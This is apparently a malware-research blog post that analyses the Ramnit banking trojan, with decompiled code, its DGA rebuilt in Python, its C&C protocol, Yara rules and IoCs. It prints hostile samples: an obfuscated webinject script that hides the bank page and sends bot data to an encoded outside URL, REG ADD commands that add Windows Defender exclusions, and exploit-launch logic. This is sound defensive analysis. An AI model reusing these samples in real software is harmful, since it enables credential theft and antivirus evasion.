

## Ramnit – in-depth analysis

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If we look on Ramnit's history, it's hard to exactly pin down which malware family it actually belongs to. One thing is certain, it's not a new threat. It emerged in 2010, transferred by removable drives within infected executables and HTML files.

A year later, a more dangerous version was released. It contained a part of recently leaked Zeus source code, which allowed Ramnit to become a banking trojan.


These days, it has become much more sophisticated by utilizing a number of malicious activities including:

- Performing Man-in-the-Browser attacks
- Stealing FTP credentials and browser cookies
- Using DGA (Domain Generation Algorithm) to find the C&C (Command and Control) server
- Using privilege escalation
- Adding AV exceptions
- Uploading screenshots of sensitive information


Despite [Europol's shut down of 300 C&C servers](#) in 2015, it's still going strong, recently being distributed by RIG EK via seamless gates.

### Executable's analysis

The main binary is packed like a matryoshka – a custom packing method first and then UPX.



Despite being encrypted, extracting the binary from the packer is pretty straight-forward – all one needs to do is to set a breakpoint right after the binary decrypts the code and before it jumps into it.



And if we now navigate to the newly unpacked code section we'll find the binary right after the loader assembly:

```

debug021:00206857 mov     ecx, [esp+0]
debug021:0020685A mov     [ebp-0D4h], ecx
debug021:00206860 lea     edx, [ebp-0E0h]
debug021:00206866 push   edx
debug021:00206867 call   near ptr unk_2058F0
debug021:0020686C add     esp, 4
debug021:0020686F mov     esp, ebp
debug021:00206871 pop     ebp
debug021:00206872 retn
debug021:00206872 ; -----
debug021:00206873 db  0CCh ; 0
debug021:00206874 db  0CCh ; 0
debug021:00206875 db  0CCh ; 0
debug021:00206876 db  0CCh ; 0
debug021:00206877 db  0CCh ; 0
debug021:00206878 db  0CCh ; 0
debug021:00206879 db  0CCh ; 0
debug021:0020687A db  0CCh ; 0
debug021:0020687B db  0CCh ; 0
debug021:0020687C db  0CCh ; 0
debug021:0020687D db  0CCh ; 0
debug021:0020687E db  0CCh ; 0
debug021:0020687F db  0CCh ; 0
debug021:00206880 db  4Dh ; M
debug021:00206881 db  5Ah ; Z
debug021:00206882 db  90h ; 0
debug021:00206883 db  0
debug021:00206884 db  3
debug021:00206885 db  0
debug021:00206886 db  0
debug021:00206887 db  0
debug021:00206888 db  4
debug021:00206889 db  0
debug021:0020688A db  0
debug021:0020688B db  0
debug021:0020688C db  0FFh
debug021:0020688D db  0FFh
debug021:0020688E db  0

```

The unpacked binary (after UPX decompression) consists of 3 general functions:

- o ApplyExploit
- o CheckBypassed
- o start

### ApplyExploit

If the current user is not already an admin and the process is not running with admin privileges it tries to perform privilege escalation.

Malware contains exploits for [CVE-2013-3660](#) (patched in MS13-053) and [CVE-2014-4113](#) (patched in MS14-058) vulnerabilities, however before it actually tries to run the payload, registry checks are performed to make sure that the host system is indeed vulnerable to said CVEs:

int __cdecl try_to_exploit(LPSTR lpCommandLine)
{
if ( !is_win8() && !is_win8_1() )
{
if ( is_xp() )

	{
	if ( !check_updates_xp((int)"KB3000061") )
	{
	if ( is_admin() )
	return 1;
	LABEL_6:
	execute_CVE_2014_4113(lpCommandLine);
	return 1;
	}
	}
	else if ( !check_updates_other((int)"KB3000061") )
	{
	if ( is_admin() && check_authority() > 1 )
	return 1;
	goto LABEL_6;
	}
	try_second_exploit(lpCommandLine);
	return 1;
	}
	return 0;
	}
	void __cdecl try_second_exploit(LPCSTR lpCommandLine)
	{
	bool v1; // al@2
	if ( is_xp() )
	v1 = check_updates_xp((int)"KB2850851");
	else
	v1 = check_updates_other((int)"KB2850851");
	if ( !v1 && !get_dir() )
	{
	execute_CVE_2013_3660(lpCommandLine);
	Sleep(500u);
	}
	}

If the exploits succeed or the program is already running with high privileges, a "TRUE" value is stored in a hardcoded random-looking registry key: HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\jfghdug\_oovetvgtk, which is later used in the CheckBypassed function.

### CheckBypassed

This function checks if previously mentioned registry key is set. If not and process has admin privileges, updates it. Assuming the exploit has worked, Ramnit then adds registry keys to evade Windows' security systems detection (see Obfuscation/Evasion):

signed int __stdcall CheckBypassed()
{
BYTE Data; // [esp+Ch] [ebp-104h]@7
if ( is_xp() && is_admin() )
return 4;
if ( is_xp() )
return 0;
if ( check_authority() <= 1 )
{
if ( !check_authority()
&& !RegCheckKey(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\",
"jfghdug_ooetvtgk",
&Data,
260) )
{
return 3;
}
return 0;
}
OutputDebugStringA("CheckBypassed ok");
if ( !RegCheckKey(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\",
"jfghdug_ooetvtgk",
&Data,
260) )
return 2;
RegSetKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\", "jfghdug_ooetvtgk", "TRUE", 0);
hide_me_from_defender();
return 1;
}

### start routine

The routine coordinates ApplyExploit and CheckBypassed – if they both run successfully it creates two svchost.exe processes and writes rmnsoft.dll and modules.dll into them respectively.

Important detail: the binary executes CheckBypassed before ApplyExploit, so the binary has to be executed again in order to make any further progress. This trick outsmarts many single-run malware analysis systems, such as Cuckoo.

```

loc_151B9A1B:
push 400h
push offset Dst
call zero_memset
push 400h ; nSize
push offset Dst ; lpDst
call sub_151925C6
mov dword_151C1947, eax
push offset aSeDebugPrivile ; "SeDebugPrivilege"
call GetDebugPriviledges
mov eax, offset sub_151B9797 ; sleeper function
push eax
call create_svchost_process
mov dwProcessId, eax
push 1A000h ; module size
push offset unk_1519F1E0 ; module data
push dwProcessId ; dwProcessId
call create_thread
mov eax, offset sub_151B97A6 ; sleeper function
push eax
call create_svchost_process
mov dwProcessId, eax
push 8E00h ; module size
push offset dword_151963E0 ; module data
push dwProcessId ; dwProcessId
call create_thread
cmp lpFileName, 0
jz short loc_151B9AA6
    
```

Module 1 - rmnsoft.dll

Module 2 - modules.dll

### Static config

Ramnit encrypts its network communication using RC4 algorithm. Key for RC4 and botnet name are encrypted using xor with a hardcoded password.

XOR encryption is pretty standard, the only catch is that it skips key's first char and then reverses the key.

void __stdcall xor(char *input, int input_length, char *xor_secret, int xor_secret_length)
{
int v4; // ecx@3
char *v5; // edi@3
int v6; // edx@3
if ( input_length && xor_secret_length )
{
v4 = input_length;
v5 = input;
v6 = 0;
do
{
if ( !v6 )
v6 = xor_secret_length - 1;
*v5 ^= xor_secret[v6];
++v5;
--v6;
--v4;
}
while ( v4 );
}
}

XOR function calls:

	xor(&botnet_name, 110, (char *)&xor_secret, xor_secret_length);
	xor(&rc4_key, 59, (char *)&xor_secret, xor_secret_length);

Ciphertext lengths are almost always too long and we have to rely on null termination:

	>>> xor_key = "1\x8F\x31\xCD\x95"
	>>> rc4_key_encrypted = "\xF3\xA8\x5F\xFE\xE0\xB4\x58\xEB\xFD\xCD"
	>>> crypto.xor(rc4_key_encrypted, xor_key[1:][::-1])
	'fenquyidh\x00'

DGA config seems to be always declared at the beginning of the data section:

```
.data:2002A000 ; Section 3. (virtual address 0001A000)
.data:2002A000 ; Virtual size : 00003327 ( 13095.)
.data:2002A000 ; Section size in file : 00003327 ( 13095.)
.data:2002A000 ; Offset to raw data for section: 0001A000
.data:2002A000 ; Flags C0000040: Data Readable Writable
.data:2002A000 ; Alignment : default
.data:2002A000 ; =====
.data:2002A000 ; Segment type: Pure data
.data:2002A000 ; Segment permissions: Read/Write
.data:2002A000 _data segment para public 'DATA' use32
.data:2002A000 assume cs: data
.data:2002A000 ;org 2002A000h
.data:2002A000 ; int dga_domain_no
.data:2002A000 dga_domain_no dd 15 ; DATA XREF: sub_2001CEFD+731r
.data:2002A004 ; int domain_seed
.data:2002A004 domain_seed dd 36F066Dh ; DATA XREF: sub_2001CEFD+791r
.data:2002A008 magic_check dd 1 ; DATA XREF: sub_2001D735+EB1r
.data:2002A00C dword_2002A010 dd 580F9D06h ; DATA XREF: sub_2001D735+23A1r
.data:2002A010 ; u_short hostshort
.data:2002A010 hostshort dd 0 ; DllEntryPoint+1D21r
.data:2002A014 ; u_short hostshort
.data:2002A014 hostshort dd 0 ; DATA XREF: sub_2001CEB0+6fr
.data:2002A014 ; sub_2001D735+2511r
.data:2002A018 ; u_short port_443
.data:2002A018 port_443 dd 443 ; DATA XREF: DGA+641r
.data:2002A018 ; sub_2001D166+101r ...
.data:2002A01C xor_secret_length dd 5 ; DATA XREF: sub_2001CEFD+3A1r
.data:2002A01C ; init_md5a+341r ...
.data:2002A020 unknown_chunk db 0F7h ; @ ; DATA XREF: sub_2001CEFD+4A1a
.data:2002A021 db 0B8h ; @
.data:2002A022 db 5Fh ; @
.data:2002A023 db 0E8h ; @
```

### Persistence

Program copies itself into C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.

### DGA

Ramnit generates a list of domains by using a LCG algorithm with a hardcoded seed:

	unsigned int __stdcall rand_int(unsigned int seed, unsigned int mod)
	{
	return (16807 * (seed % 0x1F31D) - 2836 * (seed / 0x1F31D)) % mod;
	}

Generating a domain:

```

; Attributes: bp-based frame
; int __stdcall generate_domain(int, LPSTR lpString1)
generate_domain proc near

var_4= dword ptr -4
arg_0= dword ptr 8
lpString1= dword ptr 0Ch

push    ebp
mov     ebp, esp
add     esp, 0FFFFFFFCh
push    ebx
push    ecx
push    edx
push    esi
push    edi
push    12
push    [ebp+arg_0]
call   rand_int      ; get random(0,12)
mov     [ebp+var_4], edx
add     eax, 8        ; domain length is rand(0,12) + 8
mov     ecx, eax
mov     esi, [ebp+lpString1]

loc_1000B0F6:
nop
nop
nop
push    25
push    edx
call   rand_int      ; get random(0,25)
nop
nop
nop
add     al, 61h      ; add 'a'
nop
nop
nop
mov     [esi], al
nop
nop
inc     esi
nop
nop
loop   loc_1000B0F6

mov     byte ptr [esi], 0
push    offset a_com ; ".com"
push    [ebp+lpString1] ; lpString1
call   lstrcatA
xor     edx, edx      ; gen new seed
mov     eax, [ebp+arg_0]
mov     ebx, [ebp+var_4]
mul     ebx           ; x = eax * ebx
add     eax, edx      ; eax = low32(x) + high32(x)
pop     edi
pop     esi
pop     edx
pop     ecx
pop     ebx
leave
retn   8              ; return eax
generate_domain endp

```

DGA recreated in Python:

def dga(seed):
domain = ""
domain_length, new_seed = rng(seed, 12)
domain_length += 8
seed_after_length = new_seed
for i in range(domain_length):
c, new_seed = rng(new_seed, 25)

domain += chr(c + ord('a'))
# multiply original seed and seed after getting random length
seed *= seed_after_length
# add together lower and higher 32 bits of product of multiplication
seed = ((seed >> 32) + (seed & 0xffffffff)) & 0xffffffff
domain += ".com"
return domain, seed

## Communication

Ramnit connects to C&C servers through port 443, but don't let that fool you – it doesn't use HTTPS, but its own protocol instead:

Packet's structure:

struct packet {
byte[2] magic; // set to "\x00\xff"
dword packet_data_length;
byte command;
byte[packet_data_length] data;
}


Chunks' structures:

struct chunk_0 {
byte magic; // set to "\x00"
dword data_size;
byte[data_size] data; // encrypted using rc4
}
struct chunk_1 {
byte magic; // set to "\x01"
dword data;
}
struct chunk_2 {
byte magic; // set to "\x02"
dword data_1;
dword data_2;
}

So if we'd like to send a packet containing some data, we would:

- encrypt large (>4bytes) chunk data using RC4 with a key recovered from the XOR decryption
- create packed chunks from data parts
- concatenate all chunks together
- wrap the output in packet layer

Traffic example:



Some of available commands:

Command	Byte Value	Short Description
COMMAND_OK	0x01	Server's response that the command executed successfully
GET_DNSCHANGER	0x11	Get DNS-changer payload
GET_INJECTS	0x13	Get webinjects
UPLOAD_COOKIES	0x15	Upload stolen cookies (zip format)
GET_MODULE	0x21	Get a specific module
GET_MODULE_LIST	0x23	Get a list of downloadable modules
VERIFY_HOST	0x51	Check if the host is able to send a signed message
REGISTER_BOT	0xe2	Register bot (send two MD5s)
UPLOAD_INFO_GET_COMMANDS	0xe8	Upload detailed machine info

### Bot registration

When a bot wants to register itself it sends two encrypted md5 hashes, the data structure of which is following:

struct MD5_1_data {
DWORD VolumeSerialNumber
DWORD VersionInformation.dwBuildNumber;
DWORD VersionInformation.dwMajorVersion;
DWORD VersionInformation.dwMinorVersion;
WORD SystemInfo.u.s.wProcessorArchitecture;
DWORD SystemInfo.dwActiveProcessorMask;
DWORD SystemInfo.dwNumberOfProcessors;
DWORD SystemInfo.dwProcessorType;
WORD SystemInfo.wProcessorLevel;
WORD SystemInfo.wProcessorRevision;
BYTE[16] ComputerName
}
struct MD5_2_data {
BYTE[8] magic_const; // set to "45Bn99gT"
BYTE[32] MD5_1;

```
}
}
```

Python code:

```
MD5_1 = "f054bbd2f5ebab9cb5571000b2c50c02"
MD5_2 = hashlib.md5("45Bn99gT"+MD5_1).hexdigest()
```

If C&C responds with a success packet (00ff0100000001), malware follows up with an empty 0x51 command. Signature from the response is verified using a hardcoded public RSA key. If there is a mismatch – the execution stops.

## Modules

The program can request a list of modules and then download each one individually:

### Antivirus Trusted Module v2.0

Adds exceptions to a fixed list of anti-virus software (AVG Anti-Virus, BitDefender, Avast, ESET NOD32 Antivirus, Norton AntiVirus)

### Chrome reinstall module (x64-x86) v0.1

Uninstalls Google Chrome

```
%programfiles(x86)%\Google\Chrome\Application\%s\Installer\setup.exe --uninstall --multi-install --chrome --system-level --force-uninstall
```

and installs it again:

```
https://dl.google.com/tag/s/appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={9D8A3851-D347-A540-6FC8-7438A91AB637}&lang=en&browser=4&usagstats=0&appname=Google%20Chrome&needsadmin=false/update2/installers/Chrom
```

### Cookie Grabber v0.2 (no mask)

Steals cookies from various hardcoded locations and sends a zip with results to the C&C through rmnsoft.dll.

### Hooker

Used for performing Man-in-the-Browser attacks and hooking HTTP functions.

## Webinjects

Webinjects are a relatively new addition to Ramnit. They utilize a standard Zeus format:

entry "WebFilters"
https*
end
entry "WebDataFilters"
https*
end
set_url https://REDACTED* GP
data_before
<bod*>
data_end
data_inject

<script id="loader" type="text/javascript">
document.body.style.display = "none";
(function() {
var _0x7f7f = ["\x53\x43\x52\x49\x50\x54", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x3F\x72\x61\x6E\x64\x3D", "\x72\x61\x6E\x64\x6F\x6D", "\x26", "\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x6F\x6E\x6C\x6F\x61\x64", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x73\x72\x63", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65", "\x73\x63\x72\x69\x70\x74", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x6C\x6F\x61\x64\x65\x64", "\x63\x6F\x6D\x70\x6C\x65\x74\x65", "\x61\x70\x70\x6C\x79", "\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64", "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50", "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66", "\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76", "\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F", "\x3D", "", "\x72\x65\x70\x6C\x61\x63\x65", "\x63\x68\x61\x72\x41\x74", "\x69\x6E\x64\x65\x78\x4F\x66", "\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65", "\x6C\x65\x6E\x67\x74\x68"];
function sendScriptRequest(_0xade3x2, _0xade3x3, _0xade3x4, _0xade3x5) {
var _0xade3x6 = document[_0x7f7f[1]](_0x7f7f[0]);
if (_0xade3x3) {
_0xade3x3 = _0x7f7f[2] + Math[_0x7f7f[3]]() + _0x7f7f[4] + _0xade3x3;
} else {
_0xade3x3 = _0x7f7f[2] + Math[_0x7f7f[3]]();
};
_0xade3x6[_0x7f7f[5]] = false;
_0xade3x6[_0x7f7f[6]] = scriptCallback(_0xade3x6, _0xade3x4, _0xade3x5);
_0xade3x6[_0x7f7f[7]] = scriptCallback(_0xade3x6, _0xade3x4, _0xade3x5);
_0xade3x6[_0x7f7f[8]] = _0xade3x2 + _0xade3x3;
document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);
};
function scriptCallback(_0xade3x6, _0xade3x4, _0xade3x5) {
return function() {
if (_0xade3x6[_0x7f7f[5]]) {
return;
};
if (!_0xade3x6[_0x7f7f[13]]    _0xade3x6[_0x7f7f[13]] == _0x7f7f[14]    _0xade3x6[_0x7f7f[13]] == _0x7f7f[15]) {
_0xade3x6[_0x7f7f[5]] = true;
_0xade3x4[_0x7f7f[16]](_0xade3x6, _0xade3x5);
_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);
};

};
};
function decode64(_0xade3x9) {
...
};
var bn = "US_" + "CHASE_2";
var bot_id = "<%IDBOT%>" + bn;
var sa = decode64("aHR0cHM6Ly9jaGFzZWRIZC53ZWJzaXRIL2FkbTEyL2kucGhw");
var req = "send=0&u_bot_id=" + bot_id + "A&bn=" + bn + "&page=0&u_login=&u_pass=&log=" + 'get_me_core';
sendScriptRequest(sa, req, function statusCall1() {
var element = document.getElementById("loader");
element.parentNode.removeChild(element);
});
})();
</script>
data_end

### Obfuscation / Evasion

Ramnit attempts to hide itself from Windows Defender by adding following registry values:

shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Extensions \" /v *.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Extensions \" /v *.dll /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Extensions \" /v *.tmp /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v afwqs.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v rgjdu.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v explorer.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v spoolsv.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v rundll32.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v consent.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Processes \" /v svchost.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions \" /v *.exe /t REG_DWORD /d 0 ");

shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions \" /v *.dll /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions \" /v *.tmp /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v afwqs.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v rgjdu.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v explorer.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v spoolsv.exe /t REG_DWORD /d 0 ");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v rundll32.exe /t REG_DWORD /d 0");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v consent.exe /t REG_DWORD /d 0");
shell_execute("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes \" /v svchost.exe /t REG_DWORD /d 0 ");

'Nops' are inserted in random functions, which makes them difficult to find using e.g. Yara rule:

```

push    ebp
mov     ebp, esp
add     esp, 0FFFFFFFh
push    44h
lea    eax, [ebp+StartupInfo]
push    eax
call   sub_151911BB
push    10h
lea    eax, [ebp+ProcessInformation]
push    eax
call   sub_151911BB
nop
nop
push    small [ebp+arg_4]
nop
nop
push    small [ebp+StartupInfo.wShowWindow]
pop
nop
nop
nop
push    1
nop
nop
pop     [ebp+StartupInfo.dwFlags]
nop
nop
lea    eax, [ebp+ProcessInformation]
    
```

### New variant

During writing of this article we've noticed a variation of Ramnit called clickbideu in an Italian spam campaign.

Its loader is completely different, but the communication module (rmnsoft.dll) has remained somewhat unchanged with only some minor differences:

DGA cycles between 3 hardcoded TLDs instead of just one:

int char* add_tld(int tld_no)
{
const char *v1;
int result;
int v3;
v3 = 0;

	v1 = a_click; // ".click", ".bid", ".eu"
	while ( v3 != tld_no )
	{
	result = strlen(v1);
	v1 += result + 1;
	if ( !*v1 )
	return result;
	++v3;
	}
	return v1;
	}

Python implementation:

	tlds = ['.click', '.bid', '.eu']
	domains = []
	for i in range(domain_no):
	domain, dga_seed = gen_domain(dga_seed)
	domain += tlds[i % len(tlds)]
	domains.append(domain)

Also new version seems to be using different port – 8001, although we’ve also seen usage of port 442.

Additionally, a different value (“fE4hNy1O”) is used for calculating the second md5.

### Additional links

- <https://www.virusbulletin.com/virusbulletin/2012/11/ramnit-bot>
- <https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf>
- <http://blog.trendmicro.com/trendlabs-security-intelligence/ramnit-comeback-story-2016/>

### IoCs

#### Yara rules:

	import "pe"
	rule ramnit_general {
	meta:
	author = "nazywam"
	module = "ramnit"
	strings:
	\$guid = "{%08X-%04X-%04X-%04X-%08X%04X}"
	\$md5_magic_1 = "15Bn99gT"
	\$md5_magic_2 = "1E4hNy1O"

\$init_dga = { C7 ?? ?? ?? ?? ?? FF FF FF FF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? }
\$xor_secret = { 8A ?? ?? 32 ?? 88 ?? 4? 4? E2 ?? }
\$init_function = { FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 [4] FF 35 [4] 68 [4] 68 [2] 00 00 68 [4] E8 }
\$dga_rand_int = { B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 }
\$cookies = "\\cookies4.dat"
\$s3 = "pdatesDisableNotify"
\$get_domains = { a3 [4] a1 [4] 80 3? 00 75 ?? c7 05 [4] ff ff ff ff ff 35 [4] ff 35 [4] ff 35 [4] e8 }
\$add_tld = { 55 8B EC 83 ?? ?? 57 C7 ?? ?? 00 00 00 00 B? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? 75 ?? 8B ?? }
\$get_port = { 90 68 [4] 68 [4] FF 35 [4] FF 35 [4] E8 [4] 83 }
condition:
\$init_dga and \$init_function and 2 of (\$guid, \$md5_magic_*, \$cookies, \$s3) and any of ( \$get_port, \$add_tld, \$dga_rand_int, \$get_domains, \$xor_secret)
}
rule ramnit_dll {
meta:
author = "nazywam"
module = "ramnit"
condition:
pe.characteristics and pe.DLL and ramnit_general
}
rule ramnit_injector {
meta:
author = "nazywam"
module = "ramnit"
strings:
\$unpack_dlls = { B8 [4] 50 E8 [4] A3 [4] 68 [4] 68 [4] FF [5] E8 [4] B8 [4] 50 E8 [4] A3 [4] 68 [4] 68 [4] FF [5] E8 }
condition:
\$unpack_dlls and ramnit_general
}

**Samples analyzed:**

- o Main PE

- 92460d8ac1d1e9f155ef2ca6dd7abb417df8900a17e95157d4372a2c846e829f
- rmnsoft.dll
  - be2044fe6f0220dde12c51677f2ef4c45d9dea669073bd052695584e573629e0
- modules.flil
  - 96a10e07d092f6f429672ce2ca66528aae19de872bda39249135a82477d27a83
- Module Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)
  - 975ed0f933d4a22ca631c5ab77c765cd46c48511d43326b066b4505c6dc911de
- Module Cookie Grabber v0.2 (no mask)
  - bc977a0f455fc747a7868a7940aa98af10c91c4aae7598310de8b78132436bee
- Module Hooker
  - a88151b3bf825e26ded28f94addeada095d2cd13791b2153a9594b26d9cfb85e

### Configs:

"{'config_type': 10, 'dga_seed': 790544302, 'harcoded_domain': '', 'dga_domain_no': 40, 'rc4_key': 'fB1oN5frGqf', 'config_magic': '26', 'dga_tlds': ['.click', '.bid', '.eu'], 'md5_magic': 'fE4hNy1O', 'port': 8001}"
"{'config_type': 15, 'dga_seed': 1124253770, 'harcoded_domain': 'oqdmelksujhud.click', 'dga_domain_no': 10, 'rc4_key': 'fB1oN5frGqf', 'config_magic': '3', 'dga_tlds': ['.click', '.bid', '.eu'], 'md5_magic': 'fE4hNy1O', 'port': 442}"
"{'config_type': 7, 'dga_seed': 1108585239, 'dga_domain_no': 50, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'ujdnnaah61996y.com}"
"{'config_type': 7, 'dga_seed': 1458440109, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'atw82ye63ymdp.com}"
"{'config_type': 7, 'dga_seed': 2039546858, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'test', 'harcoded_domain': 'doisafjsnbjesfbeckjsej88.com}"
"{'config_type': 7, 'dga_seed': 2435699865, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'b18w187yebsoi.com}"
"{'config_type': 7, 'dga_seed': 2695420049, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'test', 'harcoded_domain': 'funtikmuntiktribakaka9.com}"
"{'config_type': 7, 'dga_seed': 2960547961, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'seo4', 'harcoded_domain': 'dakdji282euijdsnkdlks.com}"
"{'config_type': 7, 'dga_seed': 3738229229, 'dga_domain_no': 15, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'test', 'harcoded_domain': 'mudsaoobjijj999.com}"
"{'config_type': 7, 'dga_seed': 3801515385, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'hdyejdn638ir8.com}"
"{'config_type': 7, 'dga_seed': 3815882521, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'test', 'harcoded_domain': 'dsanfjiasfn22as.com}"
"{'config_type': 7, 'dga_seed': 3998246919, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'g283yr84iri4i.com}"

"{'config_type': 7, 'dga_seed': 4040478694, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'hye739indlir73ue.com}''"
"{'config_type': 7, 'dga_seed': 4096376725, 'dga_domain_no': 50, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'ju37yebdhf72938.com}''"
"{'config_type': 7, 'dga_seed': 4205202272, 'dga_domain_no': 10, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'demetra', 'harcoded_domain': 'hd63ueor8473y.com}''"
"{'config_type': 7, 'dga_seed': 57607789, 'dga_domain_no': 15, 'md5_magic': '45Bn99gT', 'rc4_key': 'fenquyidh', 'port': 443, 'config_magic': 'test', 'harcoded_domain': 'bungetragecomedy9238.com}''"
"{'config_type': 7, 'dga_seed': 697527549, 'dga_domain_no': 10, 'rc4_key': 'fenquyidh', 'config_magic': 'demetra', 'md5_magic': '45Bn99gT', 'port': 443, 'harcoded_domain': 'h37eyrba720ui.com,}''"
"{'config_type': 7, 'dga_seed': 742724187, 'dga_domain_no': 50, 'rc4_key': 'fenquyidh', 'config_magic': 'demetra', 'md5_magic': '45Bn99gT', 'port': 443, 'harcoded_domain': 'okjndyeu3017uhe.com,}''"

**Loader sha256:**

- o d290225dde1b18bf68c4c42e06638a61fb336c91a2c4e6dd007bcbe7327fcbac
